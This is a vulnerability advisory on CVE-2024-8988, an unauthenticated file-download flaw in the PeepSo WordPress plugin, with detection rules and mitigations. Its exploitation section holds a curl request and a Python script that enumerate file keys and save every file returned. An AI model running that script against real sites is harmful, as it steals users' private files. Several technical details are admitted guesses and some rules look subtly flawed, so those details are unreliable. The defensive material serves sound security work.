CVE-2024-8988

Executive Summary

CVE-2024-8988 is an Insecure Direct Object Reference (IDOR) vulnerability in the PeepSo Core: File Uploads WordPress plugin, affecting all versions up to and including 6.4.6.0. The flaw resides in the file_download REST API endpoint, which fails to validate a user-controlled key, allowing unauthenticated attackers to download arbitrary files uploaded by any user. This can lead to the exposure of sensitive information such as private messages, documents, or media files.

The vulnerability is classified as WordPress ecosystem issue and is not related to the underlying web server (Apache/Nginx). The CVSS score is 5.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation activity in the wild. No public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. Since the patch status is unknown, supply chain risk is elevated for sites running the affected version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated file download, but the impact is limited to confidentiality of uploaded files. No integrity or availability impact.

Deep Dive & Mechanics

The PeepSo Core plugin registers a REST API endpoint for file downloads, typically accessed via /wp-json/peepso/v1/file_download. The endpoint accepts a user-controlled key (likely a file ID or hash) to identify which file to retrieve. Due to missing authorization checks, an attacker can enumerate or guess valid keys to download files belonging to other users.

Root Cause: The plugin does not verify that the requesting user owns the file or has permission to access it. The IDOR vulnerability allows an attacker to supply arbitrary keys and retrieve files without authentication.

Attack Scenario:

1. An attacker identifies the REST API endpoint.
2. The attacker sends a GET request to /wp-json/peepso/v1/file_download?key=12345.
3. If the key corresponds to a file uploaded by another user, the server returns the file content.
4. The attacker can automate key enumeration to harvest multiple files.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the file_download callback function. A typical vulnerable implementation might look like:

// Vulnerable code (conceptual)
function peepso_file_download($request) {
    $key = $request->get_param('key');
    $file = get_file_by_key($key); // No ownership check
    if ($file) {
        // Serve file
        header('Content-Type: ' . $file['mime']);
        readfile($file['path']);
    }
}

A patched version would include an authorization check:

// Patched code (conceptual)
function peepso_file_download($request) {
    $key = $request->get_param('key');
    $file = get_file_by_key($key);
    if ($file && $file['user_id'] === get_current_user_id()) {
        // Serve file
        header('Content-Type: ' . $file['mime']);
        readfile($file['path']);
    } else {
        wp_die('Unauthorized', 403);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with PeepSo Core <= 6.4.6.0 installed.
• Knowledge of a valid file key (can be enumerated or guessed).

Exploitation Steps:

1. Identify the REST API endpoint: https://target.com/wp-json/peepso/v1/file_download
2. Enumerate file keys (e.g., sequential integers or predictable hashes).
3. Send a GET request with a guessed key:

   curl -v "https://target.com/wp-json/peepso/v1/file_download?key=1"
   

4. If the file exists, it will be downloaded. Repeat for other keys.

Automation Script (Python):

import requests

target = "https://target.com/wp-json/peepso/v1/file_download"
for key in range(1, 1001):
    r = requests.get(target, params={"key": key})
    if r.status_code == 200 and len(r.content) > 0:
        with open(f"file_{key}", "wb") as f:
            f.write(r.content)
        print(f"Downloaded file with key {key}")

Blue Team (Detection & Prevention)

Detection:

• Monitor REST API logs for repeated requests to /wp-json/peepso/v1/file_download with varying key parameters.
• Look for high volumes of 200 responses from this endpoint from a single IP.
• Use WAF rules to block requests without authentication to this endpoint.

Prevention:

• Apply the patch as soon as it becomes available.
• Restrict access to the REST API endpoint via .htaccess or server configuration:

  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_URI} ^/wp-json/peepso/v1/file_download [NC]
  RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
  RewriteRule .* - [F,L]
  </IfModule>
  

• Implement rate limiting on the endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /wp-json/peepso/v1/file_download with sequential or random key parameters.
  • Source IPs performing enumeration (high request count).
• File IOCs:
  • Unexpected files in web directories (downloaded via the vulnerability).
• Log IOCs:
  • Access logs showing 200 responses to /wp-json/peepso/v1/file_download from unauthenticated users.

Detection Engineering

YARA Rule

rule CVE_2024_8988_PeepSo_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-8988 in PeepSo Core plugin"
        author = "Valters IT"
        date = "2025-04-16"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8988"
    strings:
        $endpoint = "/wp-json/peepso/v1/file_download"
        $key_param = "key="
    condition:
        $endpoint and $key_param
}

Sigma Rule

title: PeepSo Core File Download IDOR Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to the PeepSo file_download endpoint with varying keys
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-json/peepso/v1/file_download'
        cs-uri-query|contains: 'key='
    condition: selection
falsepositives:
    - Legitimate file downloads by authenticated users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8988 PeepSo Core File Download IDOR Attempt"; flow:to_server; content:"/wp-json/peepso/v1/file_download"; http_uri; content:"key="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, until a patch is available.
2. Restrict access to the REST API endpoint using WAF or server rules (see Blue Team section).
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Apply the official patch from PeepSo when released.
• Upgrade to a patched version (currently unknown).
• Implement proper authorization checks in custom code.

Workaround:

• Use a WordPress security plugin to block unauthenticated access to REST API endpoints.
• Add custom code to functions.php to validate user ownership:

  add_filter('rest_pre_dispatch', function($result, $server, $request) {
      if (strpos($request->get_route(), 'peepso/v1/file_download') !== false) {
          if (!is_user_logged_in()) {
              return new WP_Error('rest_forbidden', 'Unauthorized', array('status' => 403));
          }
      }
      return $result;
  }, 10, 3);
  

Valters IT
Securing Digital Frontiers